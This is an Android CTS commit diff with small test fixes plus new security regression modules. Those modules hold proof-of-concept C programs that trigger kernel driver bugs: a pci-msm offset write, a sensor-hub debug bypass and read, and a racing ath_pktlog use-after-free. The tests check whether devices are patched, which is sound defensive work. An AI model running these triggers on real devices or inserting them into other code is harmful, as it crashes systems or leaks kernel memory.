Merge "Fix wrong package names in cts-reference-aosp" into oc-dev
diff --git a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
index 4d4cf5d..8aebbe6 100644
--- a/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
+++ b/apps/CtsVerifier/res/layout-watch/requesting_bugreport_device_owner.xml
@@ -39,7 +39,7 @@
<ListView
android:id="@+id/android:list"
android:layout_width="match_parent"
- android:layout_height="wrap_content"/>
+ android:layout_height="500dp"/>
<include layout="@layout/pass_fail_buttons"/>
</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 144eac1..95f4d60 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -2436,7 +2436,7 @@
<string name="negative_device_owner">No Device Owner Tests</string>
<string name="device_owner_negative_category">No Device Owner Tests</string>
<string name="device_owner_provisioning_negative">Device owner provisioning</string>
- <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device is already set up, select "pass". Otherwise, select "fail".</string>
+ <string name="device_owner_provisioning_negative_info">The device owner provisioning test verifies that setting up a corporate owned device can only be done on a factory reset device.\n\nPlease click the "Start provisioning" button, and when you see a warning dialog telling the device can\'t be set up, select "pass". Otherwise, select "fail".</string>
<string name="start_device_owner_provisioning_button">Start provisioning</string>
<string name="enterprise_privacy_quick_settings_negative">Quick settings disclosure</string>
<string name="enterprise_privacy_quick_settings_negative_info">
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
index 96fe234..f51be93 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleDef.java
@@ -259,6 +259,13 @@
moduleFinisher.finish();
// Tear down
+ runPreparerTeardowns();
+ }
+
+ /**
+ * Run preparers' teardown functions.
+ */
+ protected void runPreparerTeardowns() throws DeviceNotAvailableException {
for (ITargetCleaner cleaner : mCleaners) {
CLog.d("Cleaner: %s", cleaner.getClass().getSimpleName());
cleaner.tearDown(mDevice, mBuild, null);
@@ -266,7 +273,7 @@
}
/**
- * Run preparer setup functions.
+ * Run preparers' setup functions.
*
* @throws DeviceNotAvailableException
*/
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index ac846a3..827db71 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -32,6 +32,8 @@
private static final String MANAGED_PROFILE_ADMIN =
MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
+ private static final String FEATURE_BACKUP = "android.software.backup";
+
private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
private static final String INTENT_RECEIVER_APK = "CtsIntentReceiverApp.apk";
@@ -492,9 +494,18 @@
// This case runs when DO is provisioned
// mHasFeature == true and provisioned, can't provision DO again.
executeDeviceTestMethod(".PreDeviceOwnerTest", "testIsProvisioningAllowedFalse");
- // Can provision Managed Profile when DO is on
- // STOPSHIP: Only allow creating a managed profile if allowed by the device owner.
- // b/31952368
+ }
+
+ /**
+ * Can provision Managed Profile when DO is set by default if they are the same admin.
+ */
+ public void testIsManagedProfileProvisioningAllowed_deviceOwnerIsSet() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ if (!hasDeviceFeature("android.software.managed_users")) {
+ return;
+ }
executeDeviceTestMethod(".PreDeviceOwnerTest",
"testIsProvisioningAllowedTrueForManagedProfileAction");
}
@@ -544,7 +555,9 @@
}
public void testBackupServiceEnabling() throws Exception {
- if (!mHasFeature) {
+ final boolean hasBackupService = getDevice().hasFeature(FEATURE_BACKUP);
+ // The backup service cannot be enabled if the backup feature is not supported.
+ if (!mHasFeature || !hasBackupService) {
return;
}
executeDeviceOwnerTest("BackupServiceEnabledTest");
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index cf240db..7b10600 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -99,6 +99,8 @@
<option name="push" value="Bug-33299365->/data/local/tmp/Bug-33299365" />
<option name="push" value="Bug-35950805->/data/local/tmp/Bug-35950805" />
<option name="push" value="Bug-35139833->/data/local/tmp/Bug-35139833" />
+ <option name="push" value="Bug-35468048->/data/local/tmp/Bug-35468048" />
+ <option name="push" value="Bug-35470735->/data/local/tmp/Bug-35470735" />
<!--__________________-->
<!-- Bulletin 2017-08 -->
@@ -111,6 +113,13 @@
<option name="push" value="Bug-35764875->/data/local/tmp/Bug-35764875" />
<option name="push" value="Bug-35644510->/data/local/tmp/Bug-35644510" />
+ <!--__________________-->
+ <!-- Bulletin 2017-09 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+
+ <option name="push" value="Bug-33039685->/data/local/tmp/Bug-33039685" />
+ <option name="push" value="Bug-35676417->/data/local/tmp/Bug-35676417" />
+
<option name="append-bitness" value="true" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/Android.mk b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
new file mode 100644
index 0000000..701138d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33039685/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33039685
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33039685/poc.c b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
new file mode 100644
index 0000000..e9938c5
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33039685/poc.c
@@ -0,0 +1,107 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/types.h>
+
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+char *pci_msm_path = "/sys/kernel/debug/pci-msm/";
+
+#define SIZE 64
+
+int write_file(int fd, char *str) {
+ int ret;
+ ret = write(fd, str, SIZE);
+ return 0;
+}
+
+int open_file(char *filename) {
+ int fd;
+ char file[125] = {0};
+
+ sprintf(file, "%s%s", pci_msm_path, filename);
+
+ fd = open(file, O_RDWR);
+ if (fd < 0) {
+ exit(1);
+ }
+ return fd;
+}
+
+void set_aer_enable() {
+ int fd;
+ char buf[SIZE] = {0};
+
+ fd = open_file("aer_enable");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+void set_wr_offset() {
+ int fd;
+ char buf[SIZE] = {0};
+
+ fd = open_file("wr_offset");
+
+ sprintf(buf, "%s", "9999999");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+void set_test_case() {
+ int fd;
+ char buf[SIZE] = {0};
+ buf[0] = '1';
+ buf[1] = '2';
+
+ fd = open_file("case");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+void set_base_sel() {
+ int fd;
+ char buf[SIZE] = {0};
+ buf[0] = '1';
+
+ fd = open_file("base_sel");
+
+ write_file(fd, buf);
+
+ close(fd);
+}
+
+int main(int argc, char *argv[]) {
+ set_wr_offset();
+ set_base_sel();
+ set_test_case();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/Android.mk b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
new file mode 100644
index 0000000..9213fa3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35468048/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35468048
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35468048/poc.c b/hostsidetests/security/securityPatch/Bug-35468048/poc.c
new file mode 100644
index 0000000..850c7c9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35468048/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+// for syscall
+#include <sys/syscall.h>
+// for futex
+#include <linux/futex.h>
+#include <sys/time.h>
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) \
+ printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ if (ret == -1) {
+ ERR("[-] set affinity failed");
+ }
+ return ret;
+}
+
+#define TARGET "/sys/devices/virtual/htc_sensorhub/sensor_hub/enable"
+#define DISABLE "/sys/module/CwMcuSensor/parameters/DEBUG_DISABLE"
+int main(int argc, char *argv[]) {
+ int i, ret, tmpfd;
+ char buf[PAGE_SIZE] = {0};
+
+ /* bind_cpu */
+ set_affinity(0);
+
+ /* disable debug */
+ tmpfd = open(DISABLE, O_RDWR);
+ if (tmpfd == -1) {
+ ERR("[-] open %s failed", TARGET);
+ return -1;
+ }
+
+ write(tmpfd, "1", 1);
+ close(tmpfd);
+
+ tmpfd = open(TARGET, O_RDWR);
+
+ if (tmpfd == -1)
+ ERR("[-] open %s failed", TARGET);
+ else
+ LOG("[+] open %s OK", TARGET);
+
+ /* read */
+ ret = read(tmpfd, buf, PAGE_SIZE);
+ if (ret == -1)
+ ERR("[-] read %s failed", TARGET);
+ else {
+ LOG("[+] read succeeded: %d bytes", ret);
+ LOG("[+] content: %s", buf);
+ }
+
+ close(tmpfd);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/Android.mk b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
new file mode 100644
index 0000000..1f14c2c73
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35470735/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35470735
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35470735/poc.c b/hostsidetests/security/securityPatch/Bug-35470735/poc.c
new file mode 100644
index 0000000..a6a2da9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35470735/poc.c
@@ -0,0 +1,132 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <sys/types.h>
+
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+//#define DEBUG
+#ifdef DEBUG
+#define LOG(fmt, ...) \
+ do { \
+ printf("%s:%d: " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__); \
+ } while (0)
+#else
+#define LOG(fmt, ...)
+#endif
+
+int open_file(char* filename) {
+ int fd;
+
+ fd = open(filename, O_RDWR);
+ if (fd < 0) {
+ LOG("open %s fail %s\n", filename, strerror(errno));
+ exit(1);
+ }
+ LOG("[%d] open %s succ return fd %d\n", gettid(), filename, fd);
+
+ return fd;
+}
+
+int test_write(int fd, char* buf, int size) {
+ int ret;
+
+ ret = write(fd, buf, size);
+ if (fd < 0) {
+ LOG("write %d fail %s\n", fd, strerror(errno));
+ } else
+ LOG("[%d] write %s succ\n", gettid(), buf);
+
+ return ret;
+}
+
+void prepare(void) { // enable the log
+ int enable_fd;
+ char* str = "1";
+ enable_fd = open_file("/proc/sys/ath_pktlog/cld/enable");
+ test_write(enable_fd, str, strlen(str));
+ close(enable_fd);
+}
+
+#define SIZE 16
+void Thread1(void) { // thread to read the log
+ int cld_fd, ret;
+ char buf[SIZE] = {0};
+ cld_fd = open_file("/proc/ath_pktlog/cld");
+ while (1) {
+ ret = read(cld_fd, buf, SIZE);
+ if (ret > 0) LOG("[%d] read succ %d\n", gettid(), ret);
+ sleep(0.5);
+ }
+ close(cld_fd);
+}
+
+void Thread2(void) { // thread to free pl_info->buf
+ int size_fd;
+ char* size1 = "1024";
+ char* size2 = "2048";
+ int index = 0;
+ char buf[8] = {0};
+ size_fd = open_file("/proc/sys/ath_pktlog/cld/size");
+ while (1) {
+ if (index++ % 2)
+ test_write(size_fd, size1, strlen(size1));
+ else
+ test_write(size_fd, size2, strlen(size2));
+ sleep(0.5);
+ }
+ close(size_fd);
+}
+
+#define TC 8
+void trigger() {
+ int i, ret;
+ pthread_t tid1s[TC];
+ pthread_t tid2s[TC];
+
+ LOG("Try to trigger..\n");
+
+ for (i = 0; i < TC; i++) {
+ ret = pthread_create((pthread_t*)&tid1s[i], NULL, (void*)Thread1, NULL);
+ sleep(1);
+ ret = pthread_create((pthread_t*)&tid2s[i], NULL, (void*)Thread2, NULL);
+ }
+
+ for (i = 0; i < TC; i++) {
+ pthread_join(tid1s[i], NULL);
+ pthread_join(tid2s[i], NULL);
+ }
+}
+
+int main(int argc, char* argv[]) {
+ for (int i = 0; i < 1000; i++)
+ {
+ prepare();
+ trigger();
+ }
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/Android.mk b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
new file mode 100644
index 0000000..41ba50d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35676417/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35676417
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h b/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
new file mode 100644
index 0000000..9f48e60
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35676417/local_poc.h
@@ -0,0 +1,506 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+#define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+#define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
+
+/*
+ * Direction bits, which any architecture can choose to override
+ * before including this file.
+ */
+
+#ifndef _IOC_NONE
+#define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+#define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+#define _IOC_READ 2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir, type, nr, size) \
+ (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
+
+/* used to create numbers */
+#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
+#define _IOR(type, nr, size) \
+ _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOW(type, nr, size) \
+ _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+#define _IOWR(type, nr, size) \
+ _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
+
+/* PCM Audio */
+
+#define AUDIO_IOCTL_MAGIC 'a'
+
+#define AUDIO_START _IOW(AUDIO_IOCTL_MAGIC, 0, unsigned)
+#define AUDIO_STOP _IOW(AUDIO_IOCTL_MAGIC, 1, unsigned)
+#define AUDIO_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 2, unsigned)
+#define AUDIO_GET_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 3, struct msm_audio_config)
+#define AUDIO_SET_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 4, struct msm_audio_config)
+#define AUDIO_GET_STATS _IOR(AUDIO_IOCTL_MAGIC, 5, struct msm_audio_stats)
+#define AUDIO_ENABLE_AUDPP _IOW(AUDIO_IOCTL_MAGIC, 6, unsigned)
+#define AUDIO_SET_ADRC _IOW(AUDIO_IOCTL_MAGIC, 7, unsigned)
+#define AUDIO_SET_EQ _IOW(AUDIO_IOCTL_MAGIC, 8, unsigned)
+#define AUDIO_SET_RX_IIR _IOW(AUDIO_IOCTL_MAGIC, 9, unsigned)
+#define AUDIO_SET_VOLUME _IOW(AUDIO_IOCTL_MAGIC, 10, unsigned)
+#define AUDIO_PAUSE _IOW(AUDIO_IOCTL_MAGIC, 11, unsigned)
+#define AUDIO_PLAY_DTMF _IOW(AUDIO_IOCTL_MAGIC, 12, unsigned)
+#define AUDIO_GET_EVENT _IOR(AUDIO_IOCTL_MAGIC, 13, struct msm_audio_event)
+#define AUDIO_ABORT_GET_EVENT _IOW(AUDIO_IOCTL_MAGIC, 14, unsigned)
+#define AUDIO_REGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 15, unsigned)
+#define AUDIO_DEREGISTER_PMEM _IOW(AUDIO_IOCTL_MAGIC, 16, unsigned)
+#define AUDIO_ASYNC_WRITE _IOW(AUDIO_IOCTL_MAGIC, 17, struct msm_audio_aio_buf)
+#define AUDIO_ASYNC_READ _IOW(AUDIO_IOCTL_MAGIC, 18, struct msm_audio_aio_buf)
+#define AUDIO_SET_INCALL _IOW(AUDIO_IOCTL_MAGIC, 19, struct msm_voicerec_mode)
+#define AUDIO_GET_NUM_SND_DEVICE _IOR(AUDIO_IOCTL_MAGIC, 20, unsigned)
+#define AUDIO_GET_SND_DEVICES \
+ _IOWR(AUDIO_IOCTL_MAGIC, 21, struct msm_snd_device_list)
+#define AUDIO_ENABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 22, unsigned)
+#define AUDIO_DISABLE_SND_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 23, unsigned)
+#define AUDIO_ROUTE_STREAM \
+ _IOW(AUDIO_IOCTL_MAGIC, 24, struct msm_audio_route_config)
+#define AUDIO_GET_PCM_CONFIG _IOR(AUDIO_IOCTL_MAGIC, 30, unsigned)
+#define AUDIO_SET_PCM_CONFIG _IOW(AUDIO_IOCTL_MAGIC, 31, unsigned)
+#define AUDIO_SWITCH_DEVICE _IOW(AUDIO_IOCTL_MAGIC, 32, unsigned)
+#define AUDIO_SET_MUTE _IOW(AUDIO_IOCTL_MAGIC, 33, unsigned)
+#define AUDIO_UPDATE_ACDB _IOW(AUDIO_IOCTL_MAGIC, 34, unsigned)
+#define AUDIO_START_VOICE _IOW(AUDIO_IOCTL_MAGIC, 35, unsigned)
+#define AUDIO_STOP_VOICE _IOW(AUDIO_IOCTL_MAGIC, 36, unsigned)
+#define AUDIO_REINIT_ACDB _IOW(AUDIO_IOCTL_MAGIC, 39, unsigned)
+#define AUDIO_OUTPORT_FLUSH _IOW(AUDIO_IOCTL_MAGIC, 40, unsigned short)
+#define AUDIO_SET_ERR_THRESHOLD_VALUE \
+ _IOW(AUDIO_IOCTL_MAGIC, 41, unsigned short)
+#define AUDIO_GET_BITSTREAM_ERROR_INFO \
+ _IOR(AUDIO_IOCTL_MAGIC, 42, struct msm_audio_bitstream_error_info)
+
+#define AUDIO_SET_SRS_TRUMEDIA_PARAM _IOW(AUDIO_IOCTL_MAGIC, 43, unsigned)
+
+/* Qualcomm extensions */
+#define AUDIO_SET_STREAM_CONFIG \
+ _IOW(AUDIO_IOCTL_MAGIC, 80, struct msm_audio_stream_config)
+#define AUDIO_GET_STREAM_CONFIG \
+ _IOR(AUDIO_IOCTL_MAGIC, 81, struct msm_audio_stream_config)
+#define AUDIO_GET_SESSION_ID _IOR(AUDIO_IOCTL_MAGIC, 82, unsigned short)
+#define AUDIO_GET_STREAM_INFO \
+ _IOR(AUDIO_IOCTL_MAGIC, 83, struct msm_audio_bitstream_info)
+#define AUDIO_SET_PAN _IOW(AUDIO_IOCTL_MAGIC, 84, unsigned)
+#define AUDIO_SET_QCONCERT_PLUS _IOW(AUDIO_IOCTL_MAGIC, 85, unsigned)
+#define AUDIO_SET_MBADRC _IOW(AUDIO_IOCTL_MAGIC, 86, unsigned)
+#define AUDIO_SET_VOLUME_PATH _IOW(AUDIO_IOCTL_MAGIC, 87, struct msm_vol_info)
+#define AUDIO_SET_MAX_VOL_ALL _IOW(AUDIO_IOCTL_MAGIC, 88, unsigned)
+#define AUDIO_ENABLE_AUDPRE _IOW(AUDIO_IOCTL_MAGIC, 89, unsigned)
+#define AUDIO_SET_AGC _IOW(AUDIO_IOCTL_MAGIC, 90, unsigned)
+#define AUDIO_SET_NS _IOW(AUDIO_IOCTL_MAGIC, 91, unsigned)
+#define AUDIO_SET_TX_IIR _IOW(AUDIO_IOCTL_MAGIC, 92, unsigned)
+#define AUDIO_GET_BUF_CFG _IOW(AUDIO_IOCTL_MAGIC, 93, struct msm_audio_buf_cfg)
